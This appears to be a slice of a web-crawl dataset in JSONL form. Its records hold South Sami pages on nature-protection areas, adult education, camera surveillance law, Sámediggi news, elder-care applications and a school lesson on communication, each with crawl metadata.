+{"text":"Mijjen bïjre\nDej minngemes jaepiej dle Gaske-Nøørjesne jïjnjh stuerebe vaarjelimmiedajvh tseegkesovveme, dovne åålemegemiehtjieh, eatnemevaarjelimmiedajvh jïh eatnemereservath. Blilyst edtja aktene laavenjostosne byøgkelesvoeten jïh jielemen gaskem, vuartasjidh mejtie gåarede jielemeevtiedimmiem buektiehtidh gosse daejtie vaarjelimmidedajvie tseegkeme.\nProsjekte \"næring i verneområder\"\/\"jieleme vaarjelimmiedajvine\" lea akte bielie dehtie evtiedimmieprogrammeste Blilyst, jïh lea akte byøgkeles prosjekte maam tjïelth, fylhkentjïelth jïh fylhkenålmah juhtieminie.\nDïhte åssjele lea aarvoem lissiehtidh dejstie vaarjelimmiedajvijste. Prosjekte edtja sjïehteladtedh guktie dagkerh dajvh vihkeles vierhtine sjïdtieh sosijale, kultuvrelle, byjreseligke jïh ekonomeles evtiedimmien gaavhtan, jïh våaromem vadta fasseldæmman jïh aarvoesjugniedæmman eatnemeaerpien våaroemisnie, seamma aejkien goh dajvide reerie naemhtie guktie eatneme gellielaaketje gorresåvva. Daate maahta råajvarimmieh årrodh ihke sjïehteladtedh voenges evtiedæmman jïh mobiliseringe. Prosjekte edtja åajvahkommes viehkiehtidh voenges evtiedimmine, viesehtimmine jïh aarvoesjugniedimmine.\nProsjekte edtja viehkiehtidh sjiehteladtemem jïh laavenjostoeprosjekth evtiedidh mejstie jielemebarkijh maehtieh nåhtojne utnedh, joekoen fealadassen jïh laanteburrien sisnjeli. Prosjekte edtja aaj juhtije evtiedimmieprosjekth iktedidh, jïh leavloem beaja viermiebarkose jïh maahtoebigkemasse, jïh aaj aktegs-sielth raeriestidh mah leah meatan bielieprosjektine.\nBlilyst, Fylhkenålmah Noerhte- jïh Åarjel-Trøøndelagesne, Noerhte-Trøøndelagen Fylhkentjïelte jïh dah tjïelth Meråker, Skierde, Selbu jïh Tydal dam prosjektem Skarvan jïh Roltdalen åålmegemiehtjie dåårjeme.\nJuktie vielie prosjekten jïh blilysten bïjre lohkedh, tsagkesh blilyst'en gåetiesæjroeh: blilyst.no","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/midtnorsknatur.no\/se-NO\/SkarvanRoltdalen\/OmOss.aspx","date":"2013-05-20T20:55:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699238089\/warc\/CC-MAIN-20130516101358-00028-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9999943972,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999943971633911}","num_words":185,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Geervereakta\nGeerve almetjh, dehtie jaepeste dah 25 jaepieh illieh, jïh eah aarebi jåarhkeööhpehtimmiem tjïrrehtamme, maehtieh laaken mietie reaktam utnedh jåarhkeööhpehtimmiem åadtjodh mij lea geerve almetjide sjïehteladteme (komprimeradamme ööhpehtimmmie).\nDaate reakta lea dejtie geerve almetjidie mah maadthskuvlem jallh plearoeh illehtamme, bene eah aarebi jåarhkeööhpehtimmiem tjïrrehtamme. Gaajhkh geervh, mah syökemen mietie leah jåarhkeööhpehtimmien sïjse tsaakeme, reaktam utnieh ööhpehtimmiem illehtidh. Ij leah naan bijjemes aalteremierie jåarhkeööhpehtimmiem syökedh.\nÖörneme\nEdtja öörneldihkie ööhpehtimmiem dan geerve almetjasse sjïehteladtedh fïereguhten almetjen daerpiesvoetese. Datne edtjh dannasinie faalenassem ööhpehtimmien bïjre åadtjodh mij bigkie dan ööhpehtæmman datne joe åtnah, jïh aaj dan realmaahtose datne åådtjeme gosse meatan orreme barkoe- jïh siebriedahkejieliedisnie, kuvsjine, sïeltelïerehtimmesne jïh plearoeh. Daate sæjhta jiehtedh datne edtjh jåarhkeööhpehtimmiem åadtjodh dehtie daltesistie gusnie leah. Noerhte-Trööndelagen fylhkentjïelte diedtem åtna ihke \"geerven reakta\" gorresåvva, jïh jïjtsh njoelkedassh evtiesovveme guktie edtja dam barkoem sjïehteladtedh. Aktem voejhkelimmem tjïrrehtamme juktie geerveööhpehtimmiem öörnedh akten studijevierhkiesijjiemaallen tjïrrh dej minngemes jaepiej, jïh daelie dam gïehtjelamme, staeriedamme jïh jåarhkeme goh tjåadtjoen maalle Noerhte-Trööndelagesne. Maalle edtja viehkiehtidh guktie jeanatjommesh dejstie geerve learoehkijstie faalenassem ööhpehtimmien bïjre åadtjoeh sov lïhke byjresisnie. Lohkh vielie guktie studijevierhkiesijjiemaalle\nlea öörneme, jïh guktie dïhte öörnemem tsevtsede geerveööhpehtimmiefaalenassijste.\nÖöhpehtimmiem syökedh\nTsaekeme jåarhkeööhpehtæmman, mij lea inhtse geerve almetjidie öörneme, lea syökemen mietie aktene jïjtse registreradimmie-\/syökemegoeresne\n, jïh våaroeminie syökijen realemaahtosne\n. Daesnie bïeljelimmie syökememierien bïjre\njïh akte tjaalege\nmij veelebe buerkeste mij lea jåarhkeööhpehtimmien reaktesne jïh guktie edtja fearadidh.\nNoerhte-Trööndelagesne aktem guhkies jïh gamte dååjrehtimmiem jåarhkeööhpehtimmine utnebe mij lea sjïehteladteme geerve almetjidie, jïh dej minngemes jaepiej dle stoerre nuepieh orreme lïerehtimmiem åadtjodh gelline ööhpehtimmieprogrammine. Ööhpehtimmieprogramme geerve almetjidie skuvlejaapan 2011\/2012 daesnie gaavnh\n.\nGovlehtallh maaje lïhkemes jåarhkeskuvline\njallh tsaekemekontovrine\/inntakskontoret\njis vielie bïevnesh sïjhth dov nuepiej bïjre.\nGïetegærja geerveööhpehtæmman\nlea evtiedamme juktie aktem voemeluktie vuekiem abpe fylhkesne tjirkedh – saaht gusnie årromesijjie lea.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.ntfk.no\/Aarjelsaemien\/Oohpehtimmie\/Sider\/Geerveoohpehtimmie.aspx","date":"2013-05-22T15:15:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701910820\/warc\/CC-MAIN-20130516105830-00052-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000002384185791}","num_words":279,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kameravaaksjome\nLïeneståvroe maahta luhpiedidh sïejhme kameravaaksjomem. Naan aejkien lea nuekies datne dam mijjese åvtelbodti bievnedh.\nDïhte leah göökte laakh mah kameravååksjomem stuvrieh: lagen om allmän kameraövervakning jïh personuppgiftslagen (PuL).\nLagen om allmän kameraövervakning\nSïejhme kameravaaksjome lea kamerah sæjjan stijredh gusnie åålmeh gååvnesieh. Jis datne sïjhth dagkeres dajvem vaaksjodh dellie datne daarpesjh luhpiem disse jallh alternatijveles aamhtesem mijjese bïevnedh. Ih datne daarpesjh luhpiem jis gaptjeldh dajvh gïehteldimmesne, industijeprosesside, gåetien tjïehtjelh jïh seammaleejns vaaksjodh. Dïhte lea vihkeles ij åålmeh maehtieh sæjjan båetedh.\nLïeneståvroe vååksje njoelkedassie dåerede, dah guessieh sijjide gusnie åålmeh gååvnesieh.\nPersonuppgiftslagen\nJis digitalen teknihkem nuhtjedh gosse jeajtah sijjide vååksje gusnie eah åålmeh båetieh dellie personuppgiftslagen mietie. Datainspektionen lea jienebe bïevnesh kameravaaksjomen jïh personuppgiftslagen daesnie.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.lansstyrelsen.se\/vasternorrland\/SMA\/manniska-och-samhalle\/kameraovervakning\/Pages\/default.aspx","date":"2013-05-21T11:23:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699924051\/warc\/CC-MAIN-20130516102524-00028-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9999363422,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999363422393799}","num_words":114,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieGolme vitnijh Gulliegïelebaalhkeste\nSaemienlohkehtæjja jïh dotkije Mikael Svonni, tjaelije Kerttu Vuolab jïh lohkehtæjja luvliesaemien gïelesne Seija Sivertsen daan jaepien gïelebaalhkam Gulliegïele åadtjoeh.\n-\nSaernieDáhttu Duodji\nHáliidat go eallit dujiin? Duojárat sáhttet dál beassat searvat sierra fitnodatovdánahttinprográmmii heivehuvvon erenoamážit duodjeealáhussii.Olbmot geat leat háhkan, dahje háliidit háhkat gánnáhahtti fitnodagaid main lea duodji suorgin, hástaluvvojit váldit oktavuođa ovdal skábmamánu 20.b.\n-\nSaernieSaemien sisvege maanagïertelohkehtæjjaööhpehtimmesne\nGaajhkesh mah dam orre maanagïertelohkehtæjjaööhpehtimmiem aelkieh edtjieh saemien gïelen, kultuvren jïh siebriedahkejieleden bïjre lïeredh.\n-\nSaernie- Båatsoe lea roenegierkie saemien kultuvresne\nNænnoesåbpoe vihtiestimmie jïh vaarjelimmie aerpievuekien gåatomedajvijste leah dïhte vihkielommes våarome akten båetijen aejkien jïh monnehke båatsose, Saemiedigkieraerie veanhta.\n-\nSaernieÁŋgiruššá sámi oahpponeavvuiguin ja museaiguin\nJagi 2015 bušeahttaevttohusain háliida Sámediggeráđđi áŋgiruššat boahtteáiggiin ja min oktasaš kulturárbbiin. – Min bušeahttaevttohusas mii leat earret eará válljen vuoruhit sámi mánáid oahpponeavvuid, ja viidáset ovddidit min museaid, dadjá sámediggeráđđi Ann-Mari Thomassen.\n-\nSaernieSaemien fealadassem julevsaemien dajvesne dåarjohte\nSaemiedigkieraerie 228 stoerretjuetie kråvnah dåårje prosjektese saemien fealadasse julevsaemien dajvesne.\n-\nSaernieJolle veanhtadimmieh saemien gïelemoenehtsasse\nSaemiedigkiepresidente Aili Keskitalo dam aadtjen nammoehtamme saemien gïelemoenehtsem gaavnesje bearjadahken 17.10.2014 gosse moenehtse sov voestes tjåanghkoem åtna Oslosne. Presidente aavode moenehtsen lïhtsegh gaavnesjidh jïh myöte sov le...\nSeminaare jïh konferaanse\nMøte\nAejkiemierie\nGærjagåetieSaemiedigkien gærjagåetie lea akte bielie Saemiedigkien reeremistie. Gærjagåetie dam stööremes&nb...\nGærjagåetie","id":"","dump":"CC-MAIN-2014-49","url":"http:\/\/www.saemiedigkie.no\/","date":"2014-11-23T20:42:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-49\/segments\/1416400380037.17\/warc\/CC-MAIN-20141119123300-00191-ip-10-235-23-156.ec2.internal.warc.gz","language":"sma","language_score":0.9238129258,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9238129258155823, \"sme_Latn_score\": 0.0760248526930809}","num_words":220,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":0.949,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieSamarbeidserklæring med Oslo kommune\nSametinget og Oslo kommune signerer felles samarbeidserklæring lørdag 6. februar i Oslo.\n-\nSaernieGaajhke goevten 6.b. bïjre\nDaesnie gaajhkem gaavnh maam daarpesjh daejredh saemiej åålmegebiejjien bïjre goevten 6.b.\n-\nSaernieBuktet cealkámušaid boahtteáiggi areála ja biraspolitihkkii\nSaemiedigkieraerie edtja guessine mïnnedh ovmessie voenges siebriedahkine juktie raerieh åadtjodh Saemiedigkien politihkese arealen jïh byjresen sisnjeli. – Mijjieh sïjhtebe saemien tjïerth, siebrieh, jielemebarkijh jïh faagealmetjh voengesne böör...\n-\nSaerniePresidente guessine mænna reeremetjïeltine\nBoelhken tsïengelen\/goevten presidente Aili Keskitalo sæjhta guessine mïnnedh tjïeltine saemien gïelereeremedajvesne jïh dej fylhkentjïeltine. Dïhte sæjhta gaskem jeatjah guektiengïelevoetevierhtide jïh dejtie voenges gïelejarngide digkiedidh.\n-\nSaernieSaemiedigkiepresidente seahkarimmiem almetjereaktese kreava\nSaemiedigkiepresidente Aili Keskitalo lea laejhtehks guktie Nöörje dorje gosse baataræjjah Jilliejerkeste Kirkenesne hutskie Russlaanten gåajkoe.\n-\nSaernieDåarjoe jïh stipende Saemiedigkeste\nMijjieh daejtie ohtsememieride voerkelibie:\nStipende jollebe ööhpehtæmman – Ohtsememierie goevten 1.b.\nDåarjoe kultuvremojhtesevaarjelæmman – Ohtsememierie goevten 15.b.\n-\nSaernieSïelteevtiedæmman böörede åarjelsaemien dajvesne\nSaemiedigkie sïelteevtiedimmine kultuvrejieliemasse nearhka åarjelsaemien dajvesne. Saemiedigkieraerie Silje Karine Muotka gegkeste jïjnjh sjugniedihks entreprenöörh sijhtieh meatan årrodh programmesne mij aalka goevten.\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2016-07","url":"http:\/\/www.saemiedigkie.no\/","date":"2016-02-08T22:53:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-07\/segments\/1454701154682.35\/warc\/CC-MAIN-20160205193914-00273-ip-10-236-182-209.ec2.internal.warc.gz","language":"sma","language_score":0.9999290705,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999290704727173}","num_words":225,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieSaemiedigkiepresidente guessine mænna Aoetearoese\nRïhkeden 22.b – 30.b. saemiedigkiepresidente Aili Keskitalo guessine mænna maoriji luvnie Aotearoesne (New Zealand). Doh vihkeles teemah daan vaaksjoemasse sijhtieh årrodh doh darjomh mejtie Statoil åtna jïh åtneme Aotearoesne jïh maoriji gïelebar...\n-\nSaernieHistovrijes nuepie ihke saemien gïeli staatuse jïh båetijen aejkie lokngesuvvieh\nSaemiedigkien presidente Aili Keskitalo lea madtjeles dej jïjnjh raeriestimmiejgujmie mejtie Saemien Gïelemoenehtse lea buakteme NOU:sne 2016:18 Vaajmoegïele. Dïhte jeahta daate sæjhta hijven nuepiem vedtedh staatusem lutnjedh saemien gïelese jïh...\n-\nSaernieHilgu luossašiehtadusa Norgga ja Suoma gaskka\nSámedikki dievasčoahkkin hilgu šiehtadusevttohusa Norgga ja Suoma gaskka guolásteami birra Deanučázádagas ja guoskevaš reguleremiin. Šiehtadus rihkku báikki olbmuid guhkesáiggi ja árbevirolaš guolástanvuoigatvuođaid.\n-\nSaernieDievasčoahkkin\nLávdegoddečoahkkimat álget vuossárgga čakčamánu 26. b. dii 09.00 ja loahpahuvvojit maŋŋebárgga čakčamánu 27. b. dii. 17.00 rádjái.\nDievasčoahkkin álgá gaskavahku čakčamánu 28. b. dii. 09.00 ja loahpahuvvo bearjadaga čakčamánu 30. b. dii. 15.00 rádjái.\n-\nSaernieOrre Saemiedigkiebïevnese båatsoen bïjre\nSaemieh edtjieh stoerre tsevtsemenuepieh utnedh nöörjen båatsoepolitihkesne, daate akte raeriestimmie dennie orre saemiedigkiebïevnesisnie båatsoen bïjre.\n-\nSaernieOrre saemien budsjedtegiehpiedimmijste åevrede\nSaemiedigkiepresidente Aili Keskitalo åevrede jienebh budsjedtegiehpiedimmieh båetieh daan jaepien staatebudsjedtesne. Saemiedigkiepresidente Aili Keskitalo åevrede jienebh budsjedtegiehpiedimmieh båetieh daan jaepien staatebudsjedtesne.\n-\nSaernieSápmi Pridem dåarjohte\nSaemiedigkie Sápmi Pridem dåarjohte mij öörnesåvva Guovdageaidnusne mïetsken 26. – 28.b. 121.000 kråvnajgujmie.\n-\nSaernieGulliegïele: raeresth kandidaath!\nGïeleprijse juakasåvva aajne almetjidie, dåehkide, åårganisasjovnide, siebride jïh institusjovnide mah leah åajvoehlaakan tjaaleldh-, njaalmeldh- jallh jeatjaj barkoej tjïrrh barkeme guktie saemien gïelem evtiedidh. Maahta prijsen beetnegh juekedh...\n-\nSaernieGovlehtimmie: Orre politihke saemien lidteratuvrese\nSaemiedigkieraerie orre politihkem sæjhta juktie saemien lidteratuvrem nænnoestehtedh, jïh daan sjïekenisnie aktem govlehtimmieboelhkem tjïrrehte saemien gærja- jïh lidteratuvresuerkine. Prosesse edtja aktine reektestimmine galhkedh orre saemien lidteratuvrepolitihken bïjre Saemiedigkien stoerretjåanghkose goeven 2016.\n-\nSaernieAerpievuekien jeanoevïnhtsebigkemem vuesiehtidh\nSaemiedigkieraerie 184 400 kråvnah dåårje Sámiid Vuorká-Dávvirat\/ Saemien Våarhkoe RiddoDuottarMuseat Karasjohkesne juktie kuvsjem hööltedh aerpievuekien jeanoevïnhtsebigkemisnie, jïh barkoem vïnhtsebigkeminie vihtiestidh.\n-\nSaernieSámediggi giellaofelažžan\nSámediggi bargá beaivválaččat sámegiela nannet ja ovddidit. Dál háliida Sámediggeráđđi oažžut digaštallama Sámedikki iežas giellageavaheami birra.\n-\nSaernieJienebh åarjelsaemien tjïelth reeremedajvesne vaajtele\nSaemiedigkiepresidente Aili Keskitalo lea laejhtehks ihke Tjïelte- jïh orrestimmiedepartemeente ij sïjhth ohtsemem Aarborten tjïelteste gïetedidh juktie meatan sjïdtedh saemien gïelen reeremedajvesne, åvtelen Saemien gïelemoenehtse lea gaervies so...\n-\nSaernieBeaivváš beetnegh åådtje\nSaemiedigkieraerie raereste 1,2 millijovnh kråvnah dåarjodh Beaivváš Sámi Našunalteahterasse juktie feestevuasahtallemem «The Yoik Consert: Eallin mokta – Jielemen aavoe» tjïrrehtidh heevehtimmesne Tråante 2017.\n-\nSaernieSámedikki čilgehus sámi girjjálašvuođa birra\nSámediggeráđđi lea bargagoahtán čilgehusain mii galgá geahčadit sámi girjjálašvuođa stuorát oktavuođas ja hábmet eanet ollislaš politihka dan suorggis. Sámedikkis leat iešguđet áŋgiruššamat, ja váikkuhangaskaoamit, girjjálašvuođasuorggis. Čilgehus...\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.saemiedigkie.no","date":"2016-10-21T16:39:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988718285.69\/warc\/CC-MAIN-20161020183838-00267-ip-10-171-6-4.ec2.internal.warc.gz","language":"sma","language_score":0.989199996,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9891999959945679, \"sme_Latn_score\": 0.010668333619832993}","num_words":446,"character_repetition_ratio":0.081,"word_repetition_ratio":0.005,"special_characters_ratio":0.143,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis datne såjhtoem jih hoksem darpesjh jih ih jïjtje dam buektedh, vuesiehtimmien gaavhtan aelhkie barkoeh jïjtje darjodh jih jïjtje bïssedidh, datne maahtah dåarjegem jih viehkiem sosialedïenesjijstie åadtjodh.\n1. Datne mijjem gaskesadth\nGaskesadth daaletje viehkiegïetedallijem dov dajvese, vuartesjh gaskesadthbïevnesh gårroehbïelesne. Dïhte lea mijjieh mah barkojde voereshoksesne laevehten.\n2.Mijjieh dov gåajkoe mïnnebe\nAkten viehkiegïetedallijem dov gåajkoe gåetesne männa, bïevnesh vaadta jih gyhtjelassh vaestede. Datne aaj nuepiem åadtjoeh viehkien bïjre soptsestidh mij datne daarpesjh.\n3.Datne syökemem darjoeh\nDatne akten syökemem barkoen mïetie darjoeh. Dov syökemem maahtah njaalmeldh jallh tjaaleldh årrodh.\n4. Mijjieh dov daerpiesvoeth tjïelkestibie\nDov daerpiesvoeth viehkiegïetedallijistie tjïelkeste. Syökemem pryövoen guktie sosialedïenesjelaake lea jih dah reaktah mah sosialemoenehtse lea vaalteme.\n5.Akten nännoetimmiem vaeltien\nViehkiegïetedallijem nännoste mij vihkiem datne reaktah åtnah åadtjodh. Nännoetimmiem dutnjien tjaaleldh bïeljele. Jis datne nyöjhkemem åadtjoeh abpe jallh bielie don dov syökemasse, nännoestimmesne mannasinie tjåådtje. Jis ih leah nännoestimmine fuakoes lea maahtah dam laejhtedh. Datne viehkiem dejnie akten viehkiegïetedallijistie åadtjoeh. Gaajhkide barkojde eah buektedh laejhtedh, ajve 4 kap, § 1.\nJis dov daerpiesvoeth jeatjahdehtien datne mijjem iktvielie gaskesadth ihke orre syökemem darjodh.\nKontakta oss\nHar du tekniska frågor eller vill kommentera informationen på sidan så kan du kontakta webbredaktionen. Klicka här!","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/krokom.se\/sma-SE\/omsorgochhjalp\/aldre\/ansokanomaldreomsorg.3426.html","date":"2017-03-27T04:38:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189403.13\/warc\/CC-MAIN-20170322212949-00378-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999973774,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999973773956299}","num_words":187,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mah ektie-bïejeme tjaalegh gååvnesieh?\nMah\nEktie-bïejeme tjaalegh leah vuesiehtimmien gaavhtan:\n- fotografije\n- guvvie\n- laavlome\n- joejke\/vuelie\n- musihke\n- soptsestimmie\n- kråahpe-gïele\n- reportasje\n- reklaame\n- filme\n- draama\n- guvvie-raajroe\nAktene ektie-bïejeme tjaalegisnie jienebh joekehts soptsestimmie-vuekieh. Musihke-video vuesiehtimmien gaavhtan dovne musihkem, baakoeh, guvvieh jïh daanhtsoem utnieh. Doh ovmessie soptsestimmie-vuekieh aktem elliesvoetem sjugniedieh.\nMan åvteste tjaalegh ektie-bïejeme?\nAkte vihkeles fåantoe man åvteste mijjieh ektie-bïejeme tjaalegh darjobe, lea doh ovmessie soptsestimmie-vuekieh ovmessie funksjovnh utnieh. Akte fotografije maahta vuesiehtimmien gaavhtan vuesiehtidh guktie akte almetje vååjnoe, mearan baakoeh maehtieh soptsestidh almetjen nommem, man båeries lea jïh man åvteste guvvie destie.\nGuvvie vuesehte man båeries Jon Øigaarden lea, mearan taale dam eevre veele soptseste. Vuestelen dle guvvie mijjese Øigaarden ååredæjjam vielie veelebe vuesehte goh naan ræjhkoes baakoeh lin buektiehtamme.\nAppelle åajjan jïh vaajmose\nOvmessie soptsestimmie-vuekieh sinsitniem ållesth darjoeh. Gosse jienebh soptsestimmie-vuekieh ektiedibie, maehtebe tjaalegh sjugniedidh mah doh ovmessie vuekieh bööremeslaakan nuhtieh. Fotografijh jïh musihke daamtaj åtnasuvvieh juktie mijjen domtesh tsevtsedh, mearan tjaeleme-gïele maaje jeatjah funksjovnh åtna guvviejgujmie jïh tjoejine ektine.\nDaate guvvie domtesidie tjarke tsavtsa. Jïjnjh almetjh dealasieh gosse dagkerh guvvieh vuejnieh. Dïhte tjaaleldh teekste edtja mijjem viehkiehtidh domtesidie dahkose jeatjahtehtedh. Baakoeh bievnieh maam mijjieh maehtebe darjodh jis sïjhtebe almetjh viehkiehtidh mah njåvtasuvvieh.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/172756?fag=126960","date":"2017-03-30T04:55:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00285-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999887943,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999887943267822}","num_words":190,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Govlesadteme-maahtoe\nMijjieh govlesadtebe gosse sinsitniem soptsestallebe baakoejgujmie, væhtajgujmie jallh bokstaavigujmie. Mijjieh daarpesjibie govlesadtedh gosse sïjhtebe maam akt ektesne mubpiejgujmie darjodh jallh sïjhtebe maam akt mubpide jiehtedh jallh govlesadtedh. Maehtebe ovmessie vuekine govlesadtedh jïh dïhte lea govlesadteme-maahtoe.\n\"Govlesadteme\" lea daaroen-gïelesne \"kommunikasjon\" jïh båata dehtie baakoste communicare latijnegïelesne,\"ektesne darjodh\". Almetje sæjhta maam akt jeatjahbinie ektine darjodh, jeatjabinie ektiedidh. Mijjieh maehtebe aaj lööneme-baakoem kommunikasjovne saemien-gïelesne nuhtjedh.\nMij lea govlesadteme-maahtoe?\nMaana-baeleste mijjieh lïerebe guktie edtjebe dåemiedidh ovmessie tsiehkine. Lïerebe maam sjeahta jiehtedh, gïese, gåessie, guktie jïh man vuekien mietie. Daate vihkeles maahtoe maam gåhtjobe govlesadteme-maahtojne.\nGovlesadteme-tsiehkie\nBaakoe kontekste lea \"tjaaleginie ektine\", \"ektine dam maam jeahteme jallh tjaaleme\". Kontekste lea dïhte konkreteles tsiehkie gusnie govlesadtebe. Dovne tïjje, sijjie jïh dej almetji råållah leah bielieh govlesadtemistie. Naan aejkien privaate almetjinie gusnie gåetesne, voelpigujmie jnv. Mijjieh jeatjah råållah utnebe, gåessie skuvlesne. Dellie mijjieh libie learohkh jïh lohkehtæjjah, skïemtje-gåetesne libie dåakterh jïh skïemtjijh. Verbalehts govlesadteme gosse datne vuajnah dov voelpe aavosne jallh hujnesne, kråahpegïeline.\nGovlesadteme-tsiehkie gaajhkh dah biehkieh mah meatan, jïh mah ektesne nænnoestieh guktie datne aktem jiehtegem guarkah. Jis datne maahtah tjïjhtje aelhkies gyhtjelassh vaestiedidh dellie govlesadteme-tsiehkiem tjïelkesieh.\nMaam soptseste\/tjaala?\nSisvege\nGïese soptseste\/tjaala?\nDåastoje\nGusnie dam soptseste\/tjaala?\nMeedijume\nGåessie dam soptseste\/tjaala?\nTïjje\nMejnie jïh guktie dam soptseste\/tjaala?\nViehkie-dïrregh\nMannasinie dam soptseste\/tjaala?\nFunksjovne\nJis datne jeahtah: \"Båetieh dellie!\" Dellie maehtebe dam ovmessie vuekine toelhkestidh. Jis datne dam jeahtah gaske-jïjjen kaanne mij akt isveligke heannadamme. Jis datne dam jeahtah ålkone dellie kaanne sïjhth stååkedidh. Jis datne dam jeahtah gosse geajnoe-bealesne, tjoerem varki skodtedh geajnoen rastah eannan bïjle båata.\nArgumentereles tjaalegh leah vuesiehtimmien gaavhtan:\n● Lohkemeprievie. Tjaelije sæjhta sov mïelem mietie tjaeledh jïh sov vuajnoem buektedh jïh juekedh jeatjabidie juktie dejtie tsevtsedh. Lohkemeprievie persovneles, subjektijve jïh åenehke.\n● Åejvieartihkele, lahtestimmie jallh kronihke plaeresne. Aajkoe lea seedtijen vuajnoem mubpide almetjidie buektedh byögkeles aamhtesen bïjre, lohkijh tsevtsedh seamma vuajnose. Jis saatnems argumentasjovne , dellie dïhte maahta lohkijem tsevtsedh. Gellien aejkien guhkebe tjaalege byögkeles aamhtesen bïjre gusnie vuarjasjimmieh, digkiedimmieh jïh buerkiestimmieh. 